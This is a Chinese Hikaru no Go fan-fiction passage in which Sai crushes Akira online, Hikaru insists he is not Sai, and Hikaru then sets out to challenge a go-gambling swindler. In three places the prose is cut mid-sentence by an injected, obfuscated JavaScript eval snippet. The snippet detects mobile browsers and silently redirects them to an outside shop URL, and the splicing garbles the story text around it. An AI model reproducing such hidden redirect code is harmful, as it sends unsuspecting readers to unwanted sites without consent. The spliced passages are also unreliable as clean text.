这顽固的家伙,还真是说不通。进藤光恍惚间看见了自己的过去。他刚升入院生一组那个时候,将自己从无法获胜的恐惧里拯救出来的人,是佐为。 而现在……能够拯救塔矢的人,是谁呢? 佐为有点担心地看着二人。 “小光……” “佐为,你能帮我一个忙吗?他好像开始钻牛角尖了。” 仍旧有些不安的进藤光祈求似的回头看佐为。 这颗为友人考虑的心如此赤诚,而叫人难以视若不见。小小年纪能有如此心绪已殊为不易,佐为斟酌了一会儿,想要找到合适的词语来描述自己的心情,只能点点头,用袖子半遮脸,问: “当然可以。有什么是我能做的?” 然后光转向了亮。 “网络围棋,知道怎么下吗?” “姑且……算是知道。在其他棋士家见过。” “明晚7点半,在网上等着,会有人邀请你对局。下完这局你就明白了。” 丢下这句话,光在心里默默地叹了口气,松开压制住亮的手,转身离开棋室。佐为似乎听懂了光的意思,神情严正地跟上光的步伐。 独自一人留在房间里的亮,呆滞地注视着他们离开的方向。灯盏微明。 回到大街上的光还是对此念念不忘。 “佐为,刚刚我会不会给他太大压力了?这样插手别人的人生……是对的吗?” 想着挽回所有遗憾的他,没有意识到,在弥补遗憾的同时,他的生活里又会增添新的遗憾。原本就是这样,不会有人的一生是完美的,有得必有失。不过,幽灵给出的答案却和他想象的有所不同。 “小光在想什么我不太清楚,但是,你最喜欢和塔矢下棋,肯定是有原因的吧,这已经不是简单的插手了。更何况你还把塔矢看做那么重要的对手和朋友……那不是什么压力,而是羁绊哦。” 佐为憧憬地抬头,仰望星空。 “佐为你什么时候也学会说漂亮话了啊?”看到这样的他,光不禁噗嗤一笑,“不过你说得也没错……我确实有非他不可的理由。” “小光也同意我的说法?”佐为连忙追问。 “这样一来,我和佐为的相遇一定也是羁绊咯。” “没错没错!能和小光下棋,本来就是一种羁绊啊!”佐为一本正经地强调。 “哈哈,谢谢你,佐为。” 进藤光闭上眼,又睁开眼,眼中沉淀许久的浑浊已然消失不见。 是啊。就让一切,都在明天的手谈里解释清楚吧,塔矢亮! 翌日,紫水围棋会所。 自从面无表情的塔矢亮回到这里之后,整个会所的气氛都来了个180度大转弯。包括市河晴美在内的所有人,无一例外,都感受到了亮身上散发出的阴森杀气。 “怎么回事?亮君今天给人的感觉变回了一个月之前呢……” 市河一边期盼着进藤光能早点过来把亮的注意力转移到他们的对局里去,一边纠结地看着亮和北岛先生的指导棋。 一个围棋会所的老客户关切地挪至市河身边,问道:“你说会不会是在塔矢名人那边发生了什么事?” 市河给他添了一杯茶,“肯定是发生了什么。不过能看到这样认真的亮君,或许也不是坏事。” 她总是这么积极。 “前段时间小老师被进藤打击得太消沉,好不容易恢复斗志,怎么这么快又不开心了?我还是有点担心……” 客人的话还没有说完,背对着市河的塔矢亮忽然从棋桌旁站起身,快步走到前台。 自动门打开后,市河连忙叫住他。 “——咦,这就要走了吗,进藤还没过来呢。” “今天我有别的安排。他也不会过来。” 留下这句冷淡到冰点的台词,亮便头也不回地走掉了。市河和客人都百思不得其解地看了看对方。显然,今天的亮实在太古怪,让他们碰到了一堵看不见的壁障——他在用这壁障,将自己与外界隔离开来。 亮的目的地不是别处,而是塔矢家书房。他对母亲明子说暂时不要打扰,然后拉上窗帘,独自坐在电脑前。 像光说的那样,他提前注册了网络上的账号,取名akira。 时针走向最后的倒计时。 五,四,三,二,一。 屏幕上准时弹出了对局申请。亮毫不犹豫地点击了“接受”按钮。 而后他才意识到,对方的id是…… “sai。” 亮情不自禁念出了这个名字。原因无他,sai的拼写,正是进藤光昨日在研究会上说的“藤原佐为”的罗马音。 莫非这个人……是进藤的师父? 咔哒。第一颗棋子闪现在屏幕左下角小目。亮立刻进入战斗状态。不,现在不是胡思乱想的时候,棋局已经开始,他就必须全力以赴。进藤特意安排的这次对局,一定是有意义的。 会是怎样的一局呢? 全部的声响在这一瞬彻底消失,淡出亮的世界。不仅是声响,连四面的光线都愈加昏暗,唯有视线焦点的棋盘处于亮处,那是他唯一需要瞩目的地方。 小目。再熟悉不过的开头,每次和进藤对局时,进藤都会使用这个开头,亮已经差不多能总结出对方的惯用手了。明明面前没有棋盘,但那不可思议的紧张感还是将他拽入了绝对集中的精神状态,仿佛置身一处悬浮在半空的蓝色空间,无喜亦无忧。棋盘的三百六十一个点位就是全部的世界。 他将鼠标移动到星位,谨慎地按下了左键。咔哒。 或许是在电脑上下棋不太习惯的缘故,他觉得手指格外僵硬。 就连点击的瞬间,都担心会不会歪去别处。 对方很快给出了回应。 在那隐形的蓝色空间的某处,确实存在着某个人,在以一种更难以揣测的方式与他对局。若是在现实中,棋手便可以通过观察对方的面色、眼神、出汗情况或小动作,来推断对手的心理,这并非为了场外作弊获胜,而是再自然不过的感受。棋手的感受会直接通过落子的手势传达过来。格外清晰。 可是,网络上的围棋却是没有温度的数据。棋子突然出现,谁也不知它为何而来,更不知它会去向何方。 难道是因为这个理由,他才觉得对手的招式如此令人无法捉摸? 亮咬紧了牙关。此刻他的目光就如烈火一般熊熊燃烧着。不,不是那样无趣的理由,唤醒他熟悉的恐惧的感情并非不可见带来的摇摆,恰恰相反,他所恐惧的……正是这股熟悉感本身。 就像是在和进藤对弈。但又不像是在和进藤对弈。 那个人,在比进藤更遥不可及的地方。 一步一步,看似势均力敌的局势,却比胡乱搭建的贫民窟高塔更加摇摇欲坠。 “这一手……并不是在摆脱我的纠缠。” 亮的眼睛里闪烁着光芒。 “而是,邀请我去到更核心的地方。” 得出这个结论的瞬间,他难以置信地捂住了嘴。若不这样做,惊呼可能就会从唇齿间溢出。 他想起来了!这熟悉感的来源!去年12月与进藤第一次对局的时候,那时候进藤下了试探的一手,那不是最强的一手,也不是最善的一手……而是,衡量他水平的一手! 后来他再与进藤对弈,却没见过类似的招式了。亮把一切都归因于“进藤足够了解他的实力,无需再试探”。对付塔矢亮并不需要进藤光耗费太大的心力,毕竟每一局都是光获胜,光需要思考的只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306933|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如何尽可能彻底地、用没试过的新花样击败亮而已。差距只是险胜还是完胜。 但这试探的一手,却忽然又一次出现在自己面前。 为什么?是谁?会再一次这样审视他? 一股不妙的预感油然而生。隔着一层荧光屏幕,亮都能看到自己脸上冒出的细密汗珠。 亮用颤抖的手指移动到他想落子的位置上。不,他迟疑了,这里或许不是最好的应手,反而会打破实地的均衡。他又将鼠标移动到另一处。也不行,那样会被对方巧妙交接。破空?好像还不是时候。拔掉征子?不,对方一定会趁机补断……再三思忖后,亮咬紧牙关,将棋子选择在了他确信最可战的地方。 他不想再防守了。就如进藤光所言,在面对过强的敌人时,一味的保守反而会夺走仅存的胜率。 他以他最极限的方式,发起了反抗。 抗争使眼中的棋盘图案都开始了摇晃。 虚空中的“巨大的手”指挥着扇子,将他的进攻一一封锁,妙手连出。厚积薄发的恐怖统治力让亮所有的攻击阵势都无法成型,这时再想躲,已是瓮中捉鳖。 可是,究竟是什么时候,那阴影杀到了自己的要害处? 从一开始吗?明明一度掌控主导权的是自己啊…… 亮确信他是做好心理准备才来迎战的,绝不会因为害怕,而犯下与进藤第二次对局时那样令人惋惜的败手,无论是怎样的强敌,他都打算与对方决一死战。但是,人总是会失误的,判断总有不甚精确的时刻,他原以为拖对方坠入厮杀之境,就有机会找到与进藤光相似的弱点、一举反击,哪怕不能赢,最后也不会输得太难看。可结果却完全出乎他所料。 布局那么稳如磐石的sai,在混淆视线的中盘也能做到零失误,一个妙手都不放过,一个恶手都不纵容。往往是亮尚未察觉到问题所在,他就悄无声息地摧毁了亮的生机。 步步为营,刀刀见血。 轻而易举。 “是你吗,进藤……”置身于如此浩瀚的漩涡之中,亮驾驶的小船几近翻倒,他只能用本能维持着最后的理智,“难道这才是你真正的实力?” 是不是日常与他对弈的进藤光他不知道。 但至少这个人,绝不是与父亲对弈落败3目的进藤光。 亮感到身后的墙壁都在离他远去。在虚空中,他越飞越高,稍有不慎就会摔下深渊。 sai的强大根本无需证明。他能毫不犹豫地拔走塔矢亮全身的武器,刺穿一切防备,优雅得像庖丁解牛,用最少的步数达到完全击倒对方的目的,又冷酷得像雪崩,让恐惧于刹那间淹没整个棋盘。他的棋力……远在进藤光之上! 莫非进藤与他对弈的这么多局,都只是小孩子过家家? 想到总爱惹他生气的幼稚鬼进藤光的性格,亮无法否认这种可能性。 他本以为自己和光的实力差距太大,不配做光的对手,但眼前这个sai根本就不是实力差距不差距的问题,是他连对手的棋路都看不到!一点也看不到!完全就在另一个次元! “……为什么。” 亮的双眼紧紧盯着屏幕。人外有人,天外有天,确实如此,即便他再不愿承认,这局棋也已经早早注定了结果。 他认命般闭上了眼睛。 咔哒。躲在网咖偷偷操作电脑的进藤光忽然看见,电脑上冒出了白色弹窗。 【akisa,认负。】 至此,对局只不过进行了108手。 “呼。” 光如释重负地松了口气。总算结束了。他握着鼠标的手满满都是汗,佐为的每一步都至臻至妙,他一刻也不敢看漏,而塔矢亮竭尽全力的奋力搏杀也令他心生敬意,面临如此差距悬殊的对手,他都死战到了自身棋力的极限,真难想象这家伙进化成完全体后会是多可怕的一头猛兽! “你赢了,佐为。” 屏幕上还显示着刚才紧张激烈的棋局。看佐为的神态,似乎也深陷那令人窒息的对杀中不可自拔。他收起扇子,对光微微颔首。 “如你所言,我毫不留情地赢了他。” 佐为没有面带微笑,紫色的嘴唇在夜色中反射着微弱的灯光,他以自己的方式,用最不保留的攻势粉碎了对手的防御,也深知此次对局的意义,只有最决绝的剑,能劈开最沉重的枷锁。他尊敬奋战到彻底落败的塔矢亮。这份肃穆,正是为他而准备的。 “接下来就是揭晓答案的时候了。”光从座位上站起来,带有几分坚毅和几分留恋,看了棋谱最后一眼,而后转身推开玻璃门,“做好觉悟吧,塔矢亮。” ●○●○ 32.Chapter 31. 马甲要掉了? 周六下午。围棋会所人声鼎沸一如既往,连带着太阳的心情也变热烈了些,刺眼的春日阳光洒进室内,照得浑身说不出来的燥热。 市河眉头紧锁地沏好茶,又怕自己这样的表情影响到亮,对着镜子挤出微笑,才走到桌前,优雅地把茶杯放到亮的视线内侧。 “亮君今天也很努力呢,喝点红茶,休息一下吧?” 此时的亮正出神地望着门口。他依旧面无表情。 “谢谢你,市河小姐。”茶杯撞击桌面的声音将他唤回现实,他有礼貌地对市河点点头,又一次对着茶杯里漂浮的茶沫陷入沉思。看这样子,绝对是在等人。 广濑和市河担心地对视了一眼,又不约而同收回了各自的视线。 “小老师和进藤……这是和好了吗?”广濑假装收拾着面前的棋子,轻声问道。 对面的北岛有点不屑地撇撇嘴,“切,那小子有什么好的,总是挑起话头想跟小老师吵架,一点都不尊重人。不和好也罢!” “吵架总归比沉闷好嘛,年轻人,吵吵自然感情就深了。”广濑依旧是一副老好人的表情,讲述着自己的猜测,“我倒觉得,进藤是在故意把小老师从一个人的世界拉出来。” “哪有你说的那么感人!我看他只是——” 北岛正欲否认,话题里的主角进藤光便好似巧合一般冲进围棋会所,推开了满屋的低气压。 “下午好啊,广濑先生,北岛先生!哦,还有市河小姐!” ——来了! “进藤,要喝点什么吗?”市河好像一直在等这个家伙的突然出现,十分熟练地问。 “什么都行。水就可以。”光对市河回了一个大大的笑脸,才在等候已久的塔矢亮面前坐下,“抱歉,今天出了点岔子,让你久等了。” “岔子?发生什么事了?”听见光说得像发生意外,亮的脸色无法继续平静下去。 光的额头上挂着一颗汗珠,他责备地看了一眼身后的佐为。 “都怪你啦……” “对不起,小光……”佐为马上一副受了委屈的模样。 “算了,我又不是在责备你,不要哭啊佐为……啊啊,我说了不要哭啦!” 光无可奈何地安抚着佐为,真是头大,摊上这么一个让他心疼的幽灵大人。 自从sai征战互联网已有一星期,一人一魂在网路上下棋的时间逐渐增多,颇有废寝忘食的倾向,昨晚还因为和塔矢亮对弈太久、回家已经是晚上10点半,搞得美津子差点按失踪案报警处理。好不容易劝说他们睡下,结果,早上佐为又叫着想下棋,光便想再次潜入网咖,然后就在玄关被美津子抓了个正着,大声训斥了一顿。 联想到她平日温柔少言的性格,再想想昨日意料之外的发火,光不得不承认是自己太任性了点。 “进藤?”亮的声音将他唤回现实。 光这才收起了脸上的笑容。“没事没事,就是我家老妈有点啰嗦而已。言归正传,昨天那局棋,有让你明白什么吗。” 虽然在使用疑问句,但他的语气与陈述句无异。 亮的眼神也瞬间严肃起来。他自我确认般低头看了一眼茶杯,又在氤氲的热气中抬起脸,直视光的面庞,用清冷的声音说: “与其说是明白……进藤,网上的那个sai,其实就是你本人吧。” “……?!” 亮突如其来的奇特猜测差点让光喷出嘴里的果汁。 “咳咳咳……你……你在胡说什么啊,塔矢?”光手忙脚乱地重新坐好,笑嘻嘻地看着狐疑的塔矢亮。 佐为也竖起寒毛紧张兮兮地盯着对方,总不会这么快就被他察觉了吧? 亮却显得格外沉着。 “这充其量也只是我的推测。第一,虽然你说他是你的师父,但谁也没见过这样一个人,谁都无法证实他真的存在。第二,我看过对局记录了,他每天在网上和别人下棋的时间,都和你放学后、到围棋会所来之前的时间完全重合,我不认为这是什么巧合。第三,他在网上的战绩,是全胜。” 这么有条有理的质疑,显然在光的心理准备之外。 ——拜托!塔矢亮!你的直觉要不要这么敏锐! 进藤光进行一个战术性喝水,“嗯……在网上全胜也不算难事吧,你也知道,网上的人都不怎么厉害。” 他不得不把塔矢研究会里其他棋手的言论搬来当救兵。可以预见地,这段牵强的解释并不能让亮信服。亮马上提出了下一个问题: “不,输给sai的人之中,有一位是父亲门下的职业六段,他听说sai的传闻后,特意去找他下了一局,同样是中盘负。” 那双墨绿的眸子仿佛在洞穿光脆弱的谎言。 光在掌心捏了把汗。 “这充其量也只能说明sai很厉害啊,又不能说明我就是sai。”语气必须足够自然。 稳住,稳住,稳住。但愿塔矢不要一直怀疑下去就好。 亮正对着光的眼眸看了许久,才略带迟疑地开口道:“……其实昨晚我一夜没睡,通宵看完了sai的全部棋谱,说实话,和你的棋风很相似……昨天和他对局时,我一度以为下棋的人,就是不再隐藏实力的你。” 进藤光一听这话立马坐不住了,屁股着火一般跳起来:“诶?!啊啊……这也是有原因的啦!我都说了他是我师父,我的棋就是他教的,棋风当然是会传染的!再说,我有什么必要隐藏实力?以我的性格,要是能赢塔矢名人,我肯定不会错过的!” “真的只是我的错觉吗。” “当然!我要是骗你,我就、我就这辈子都不下棋了!”光说着狠狠拍了一下桌面。 演戏可真是累人。但是,这的确不是他下的棋!反正下棋的一直是佐为,他怕什么,就是再像、那也不是同一个人!嗯,没错,这种时候怎么能自取灭亡,一定要冷静、冷静、再冷静…… 深呼吸,别被他瞧出什么端倪……呼…… “是吗。” 见光发了这样的毒誓,亮也没有再怀疑。 光总算松了口气,“是啊!” 疑窦暂时消除,亮从第一个猜测中脱离,转而陷入了更深的情绪。“那确实是很意味深长的一局,我特意带来了棋谱。不过,相信你也在旁边见证了全局吧。” 亮说着,开始翻他的背包。 虽然没什么必要,但为了掩饰自己刚刚的失误,光还是不得不装作兴高采烈的样子连连点头:“嗯!我就坐在sai旁边,全都看到了。所以呢,下完这一局,你就没有别的感受吗?除了刚刚那个、呃,硬说我就是sai的离谱推论。” “如果sai真的不是你本人的话,我想我知道,为什么你要安排我们对弈了。” “都说了真不是我了……” “——你在寻找,超越sai的办法,不是吗?” 铃音。塔矢亮掷地有声的断言,让光瞬间仿佛受到了来自灵魂的震慑。 他有些恍惚,不知是被言中心声的惊讶,还是对这句话本身产生的强烈共鸣。 时间仿佛一刹间回到五月五日的午后,棋盘上残留着棋子,阳光下的窗帘轻轻飘扬,空留自己一人永恒地等待着尚未完成的那一局。今后也会永恒地等待下去。之后的十年他一直这样想。 超越sai的办法…… 光的笑容略带苦涩,却又极为真挚。 “没错。”最后他收起笑容,轻声说。 “小光。” 身后的佐为似乎也预感到了他笑容里的意味。从他回到现世遇见小光开始,小光就在不停地追寻着某样东西,具体是什么东西他无从知晓,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336501|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急切的心情会从每句话、每个表情、每局棋里渗透出来,藏是藏不住的。佐为并非不曾试探地问过,但小光从未正面回答,他那般着急地往前走到底是为了什么目标。 直到现在—— “正如你所言,塔矢。”光再次开口时,眼里的苦涩消失殆尽,转而变为奇妙的笃定,“你在苦恼我为什么选你当对手,理由其实很简单。我需要一个潜力足够大的人,陪我互相进步,才有可能超越我的师父sai。他有多强你也看在眼里了。要是一直模仿他……我不认为我能在十年内达到他的高度。” 这是上辈子的光的心里话。 他最大的遗憾,就是没能赢过佐为一次。哪怕一次也好。 佐为消失后的十年间,虽然次数不多,可他赢过亮,也赢过非公式赛里的桑原本因坊,然后就一直在原地踏步,只能靠着秀策的棋谱模仿佐为的棋步。 佐为不见了,所以无论如何确认,他都无从得知自己能否在与佐为的对弈里获胜。再也没机会了。 房间里未下完的那局棋是他永远的伤疤。没有佐为,他或许可以追赶塔矢亮,没错,这是事实;但那时的他怎么也追不上国际大赛里的塔矢亮,也是事实。进藤光是外人眼中的天才,可塔矢亮更是天才中的天才,起步就比亮晚了九年的进藤光就算再迎头追赶、也不可能那么快实现超越亮的夙愿,更别提遥远彼方的佐为了。 进藤光独自努力了十年,没能达到佐为的高度。就算现在他幸运地回到十年前、平白多出了十年的棋力,但仅凭他一个人的悟性,也是做不到的。靠着从佐为那学来的东西,要怎么击败佐为本人呢? 他必须从别的地方也汲取营养才行。 现在的他,迫切需要一个对手,帮他踮起脚尖,够一够神之一手所在的山峰。 那个对手,就是塔矢亮。 亮的困惑得到了解答,心里却并未释然。心高气傲是他的本色,他渴望的是真正的认同,而不是这种…… “归根结底,你认可的只是我的‘潜力’吗。”亮低沉着嗓音,问。 在亮冷静的语调之中,潜藏着危险的疯狂。 光却没打算回避这种疯狂。 “嗯。所以不能是塔矢名人或者绪方先生,他们已经成型了,说白了,最好是个小孩。我需要的对手得和我一起成长,而你的成长空间比他们都大很多。” “何等傲慢的视角。” “对不起,如果冒犯了你,那不是我的本意。我只是相信你,相信你是全日本唯一一个可能追上我的年轻棋手,相信将来如果我进军世界舞台,你也会和我并肩。” 他说的不是“想”或者“希望”,而是事实,就像之前他说自己会“成为”职业棋手一样。进藤光就是这样一个强得不可思议的人。这么夸张的天才,竟然还只想着继续向前冲,塔矢亮竟有些被他勾勒的宏伟蓝图吸引了。 “不,我没觉得冒犯,这样倒是解开了我的迷茫。” “是吗?” 亮微微颔首,肯定道:“和sai对局过后我终于明白了,你的目标有多高远。如果是为了那么崇高的目标,我愿意不遗余力地成为你的刺激源。” “也就是说……”光的眼中升起了一丝希望。 “‘进藤光的对手’这个称号,虽然沉重,但就让我暂且接受吧。” 随着亮伸手向棋盘上放下第一颗黑子,咔哒一声,严肃的对话也宣告终结。这代表他不会再纠结自己是否够格,而会配合光的目标,共同努力。现在他要开始复盘了。 当然,容易害羞的亮不可能把这种决心直白地说出口,只是装作没事人一样继续冷静地摆着棋谱。 肩膀瞬间放松下来的光往后背一靠,歪了歪脖子,“哼,真不坦率。你明明就很开心听到我夸你吧!” ●○●○ 33.Chapter 32. 踢馆之旅,火力全开 看到如此得意洋洋的进藤光,一贯优雅冷静的塔矢亮平生第一次命令自己忍住了翻白眼的冲动。 “这就是你的一厢情愿了。” 光也开始伸手摆弄棋盘上的棋子:“别不好意思嘛,塔矢。不过,你这手挖还真是惨不忍睹啊……” “那是因为对手是sai。如果是你的话,我早就趁此机会把你前期积累的优势消除掉了。” “你还真敢说!到底是谁昨晚输这么惨、甚至产生了我就是sai的幻觉啊?!” “哦?那进藤君对这一步又有何高见?” “别以为会说四字成语就代表你很有说服力!欺负我国语成绩差是吧塔矢亮?这里当然要先这样,再一步直接杀掉他的主心骨……” “无理。” “你——你才无理!你全家都无理!” 达成和解才没几分钟,围绕着这份佐为和亮的棋谱,两人也逐渐讨论讨论着吵闹了起来。只能说这是常规节目了。看到他们吵得这么凶,一开始还会胆战心惊的佐为如今也学会了笑看一切,这里点点头,那里蹲下看看棋盘,时不时借光之嘴插几句话,那叫一个自得悠闲。 待检讨结束,时间已剩余不多,看着窗外高升的明月,光记起妈妈黑着脸强调过今天不许晚归,只能恋恋不舍地告辞。亮略不甘心地送他到门口。 市河和一众顾客都十分在意地偷瞄他俩。 “这算是……和好了吗?”一个人偷偷问。 “不知道呀。”另一个偷偷摇头。 “都吵起来了,应该是还在闹别扭吧?北岛先生,你还是不懂察言观色啊。” “反了!是你不懂进藤光!他们两个就是得要吵起来那才算和好!吵得越凶,关系越好!” 紫水围棋会所,全员化身狗仔。 而我们的进藤光刚刚放下一桩心事,就又多了一桩心事。 他此刻满脑子都在提心吊胆:亮的分析很有逻辑,sai下棋的时候进藤光一直不出现,会很不合常理。眼看着真实身份离暴露就一线之隔了,万一哪天真被什么人看到他用sai的账号操作电脑、身边却空无一人,不就直接露馅? “以后得想点别的办法糊弄过去,每天都是那个时间上线,确实太可疑了。”在回家的路上,他一直不停地思索着备份方案,“要是家里有电脑就好了……” 电脑在哪里能买到来着? 这样想着的光顺路去了东京最大的电子产品一条街,秋叶原。 随便找家Bic Camera的橱窗一看,光就险些腿软。 标准家用台式机,166666日元。 等等,几个6??? 光感到自己的眼皮都在乱跳了。他问身边的幽灵:“佐为,有什么能迅速赚钱的法子吗?” “诶?小光你确定要问‘我’这种问题?” 看来佐为对自己定位很清晰。但凡他有这方面的才能,也不至于在天皇面前被奸人诬陷作弊、都无力反驳只言片语。 光就像霜打的茄子,掉头就走。要说他的本事,就只有围棋了。 想象中的他be like:碾压业余大赛、拳打大手合、脚踢北斗杯、刷爆头衔战、斩获世界冠军、千万奖金带回家。 真实的他be like:业余围棋比赛的奖金不如职业头衔赛高,一般冠军也不过10万日元级别,关键是近期他还会成为院生,没法参赛;职业比赛又需要有段位才能参加,最起码等到9月职业考试结束之后,要是遇到五番棋、十番棋岂不是耗到天荒地老;院生内部的比赛又有严格的赛程安排,以他的资历,必须从预选开始,就算一直连胜也很难在三个月内拿到出战名额! 怎么和他期待的重生金手指不一样?果然人还是那个人,重生了也不会变超级英雄。 ……完了,排除掉这些,他只能想到赌棋这一条路了。 耳边立刻响起了上辈子佐为“小光!你要为了赚钱下棋吗?!”的责问。光无助地捂住耳朵,犹如戴上痛苦面具。他也不想的!但是! “这是为了佐为,嗯,围棋之神会原谅我的吧。”进藤光,此时进退维谷,距万事休矣只差一步,他双手合掌两次,对着佐为弯腰鞠躬,仿佛在参拜某种奇怪的神明,“就这一次!我发誓就这一次!” “诶?什么?” 莫名其妙被当成菩萨拜了又拜的佐为紧张得连连眨眼。 神明在上,他肯定猜不到小光这次又冒出了何等奇怪的主意。 数日后。 叶濑中附近,老修的地下围棋会所。 上次来这个地方应该是十二年前了,光百感交集地望着那条黑暗的楼梯通道,自从与三谷一战、将三谷从会所拖去围棋部以来,他就再也没来过这里。好在东京本来也没几家能下棋的沙龙,找起来并不麻烦。但是,他的脚步还是迟疑了一瞬。 真的要为了钱……做出那种事吗…… “小光,我不喜欢这里。”佐为看到在昏暗的灯光下吞云吐雾的客人们,皱了皱眉。 当年日本还没严格执行公共场合禁烟法,到处都能看到在室内吸烟的人,围棋会所就是重灾区,尤其是这种无窗地下室,本就压抑,光只能也皱着眉头穿行在其中。 “三谷不在啊。”他在遗憾的同时,又松了口气,“也不知道什么时候能遇到他。” “三谷?”佐为又听到一个陌生的名字。 光总结道:“一个下棋有点天赋、但没用在正道上的傲娇小鬼。” “傲娇是什么?” “简单来说就是口是心非。” “哦……我明白了!那小光你也是傲娇呢!” 佐为得出了一个非常了不得的结论,吓得光差点直接栽进前方的垃圾桶。这个词不是这么用的吧?! “喂!小孩500元。” 收银台后的老修抬起满是皱纹的脸,用手指不耐烦地扣了扣桌面。光这才慢吞吞走过去,还在犹豫该不该迈出那禁忌的一步。 就在这时。 “啊?你又输了?这都第几次了?怎么还是学不会教训啊。” 这抱怨是从不远处传来的,光扭过头,看见一个微胖的中年男人正在教训另一个消瘦的年轻男人。前者恨铁不成钢,后者则满面愁云。 桌上散落着用过的纸巾,大概是消瘦男人留下的鼻涕眼泪混合物。从他不断发抖的手指和杂乱无章的头发可以看出,他曾用双手使劲搓过满是泪痕的脸,最终扩散到整个头部,甚至留下了明显可见的红痕。 那过于痛苦的神色,实在不像普通人输棋该有的样子。 光听到消瘦男人哭着说:“我以为这次一定能赢的……谁能想到,每次都顶多输给他几目而已,偶尔还能赢两盘,这次居然从一开始……就被他耍着玩!” 说到最后,他无力回天地捶打着桌子,悔恨,绝望,以及空虚,集合在那男人身上的就是如此复杂的情感。见到这一幕,会所主人老修本想出声制止他破坏公物,却在看到他泪流满面后,又不忍心地坐了回去。 微胖男人一边递给他纸巾,一边感叹:“笨蛋!那种人就是先用蝇头小利把你骗进来,然后越赌越大,到最大的一笔再一口气提竿收线!你到底赌了多少?” “……五……” “多少?大点声,我听不见。” “五、五万……” “一盘棋五万日元?!你他妈疯啦?!你老婆这都能原谅你?!”微胖男人大惊失色。 消瘦男人只能悔不当初:“她还不知道。我可怎么办啊……早知道就不赌这么大了……我想着连续赢了两局,这局再赢了……就一定能回本……” “你这是被骗啦!他就是故意设局的!唉,赌上头的时候什么都不管不顾,现在后悔也来不及了!” “可恶,我再也不赌棋了……我……我……” 听到这里,佐为已经大致明白了事情的起因经过。竟然有人胆敢利用围棋骗钱?不仅仅是普通的赌棋,还故意设局诈骗?还骗这么大的数额?简直太不把围棋精神放在眼中了! 他立刻举起正义的折扇,高声宣布:“小光!我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339863|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝不能饶恕他!” “嗯,我知道!”光和佐为一样怒火中烧,完全忘记了刚刚自己还差点走上赌棋的邪路,他径直冲上去追问那个消瘦男人,“你们在说谁?那个靠赌棋骗钱的欺诈师,究竟是谁?” “——诶?” 两人皆是愣愣地看着他。 “请告诉我!!”光的大脸凑得离他们更近了。 半小时后,会所入口楼梯处传来了不速之客的脚步声。单听步子就能猜出他身材结实有力,遇到任何情况都能轻松拿捏,但左一脚右一脚轻重不一致,像是喝酒或嗑药导致的精神问题,光的眉头越皱越紧,然后,门被一只巨大的手一把推开了—— 平平无奇的板寸,老实巴交的眉毛,疏于打理的胡茬,少了两颗门牙,皮笑肉不笑的脸,矮中带着亲切感的身高。乍一看还以为他很好相处。只有上辈子见过他的光一下子认出了这人的长相。 不就是后来假装下棋很菜、骗了三谷一万日元的大叔嘛?! 原来他根本不止充当老修的“打手”,私底下也做了这么多脏活儿!真是恶劣! 光气得嘴都快歪了。 板寸男带着虚伪的微笑在会所里转了一圈,周围的人都停下对弈看向他,然后他停在进藤光的位置前,用喜庆之中不乏挑衅的语气俯视着光开口了: “我听说这里有个小孩打算赌一笔大的?就是你吗?” 光忍住直接给他一拳的冲动,干巴巴地回答:“对,就是我。” 板寸男的眼睛笑成了短款月牙,有些贼眉鼠眼的意味,他愉快地拉开光对面的椅子,毫不客气地坐了下来,眼睛却直勾勾地盯着光的书包。 “小少爷,你的本钱呢?先拿出来。我只玩实际的,没时间陪小鬼吹牛。” “你来得正巧,今天我想换一种新玩法。”光把右手“砰”地砸在桌面上,松开手指,露出里面的两个500日元硬币,“赌注持续加码。你敢吗?” 板寸男饶有兴味地摸了摸下巴。 “哦?赌注持续加码?具体是什么意思?” “一开始的赌注只有1000日元,之后每下十步,双方都可以往自己的筹码上加倍。” “加倍?” “也就是说,如果你判断你形势有利,就可以从1000日元加到2000日元,再过十步,又可以加到4000日元,下一次是8000,下下次是16000……直到其中一人认负为止。” 光用小孩子般纯真无邪的语气讲解着规则,倒让人有点不寒而栗。这么离谱的加注规则!只有顶级的赌鬼能说出这种话!可他明明只是个普普通通的小学生!之前丢失了五万日元的消瘦男人一脸惊恐地做着口型,像在拼命恳求他“别乱来”,却被微胖男人拉住了。 他们表现得越慌张,板寸男心里就越痒痒。 赌棋的人和诈骗的人有一个共性,那就是喜欢金额和概率的最大化□□。 听到这么夸张的金额,就连一直旁观的老修都忍不住了,他试图唤回这个小孩的理智:“每次都翻倍?!这样翻下去……最后会变成很恐怖的数字啊!孩子,你知道自己在说什么吗?” “……” 板寸男没有立刻说话,而是不断用脚跟敲击地面。这小动作表示他在犹豫。 